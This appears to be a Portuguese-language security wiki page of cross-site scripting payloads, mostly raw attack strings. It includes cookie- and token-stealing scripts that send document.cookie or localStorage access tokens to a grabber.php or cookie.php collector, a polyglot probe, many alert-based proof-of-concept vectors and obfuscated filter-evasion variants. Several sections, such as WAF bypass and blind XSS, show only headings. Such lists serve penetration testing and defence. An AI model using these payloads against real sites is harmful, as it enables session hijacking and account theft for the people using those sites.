search
GithubMindSecurity
githubEditar

XSS Payloads

Exemplos

hashtag
One For All (Polyglot)

Payload versatil para testar multiplos contextos (HTML, JS, SSTI, CSTI).

<img src=x>'"${{7*7}}

hashtag
Data Grabber (Cookie Stealing)

Payloads focados em exfiltração de cookies e tokens de armazenamento local.

<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src='http://localhost/cookie.php?c='+document.cookie;</script>
<script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script>HTML & Applications (Basic Alerts)

Payloads clássicos para prova de conceito (PoC).

<script>al\u0065rt(1337)</script>
);alert('XSS
#1' onerror="alert('XSS')"
"><script>confirm(1)</script>
<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert('XSS')</script>
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=alert(1)>
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert("XSS");>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
javascript:alert("XSS")
#hTTP://[pastebin.com/raw/ycjGCXDY](https://pastebin.com/raw/ycjGCXDY)	alert("XSS");
"/>%20<p+oncontentvisibilityautostatechange="alert(/CVE-Hunters/)"%20style="content-visibility:auto

hashtag
Doom (WASM Injection)

Executa o jogo Doom dentro de um iframe via XSS.

hashtag
Markdown XSS

Vetores específicos para renderizadores de Markdown vulneráveis.

Vetores utilizando Scalable Vector Graphics.

hashtag
WAF Bypass & Obfuscation

Técnicas para evadir filtros e listas negras.

hashtag
Generic & Polyglots

Mistura de contextos para quebra de parsers.

hashtag
Blind XSS (XSS.Report)

Payloads configurados para callback no serviço xss.report.

hashtag
Encoded (XSS.Report)

hashtag
XSS Hunter (Truffle Security)

Payloads para a plataforma XSS Hunter.

AnteriorVillager-ngPróximoXSS

Atualizado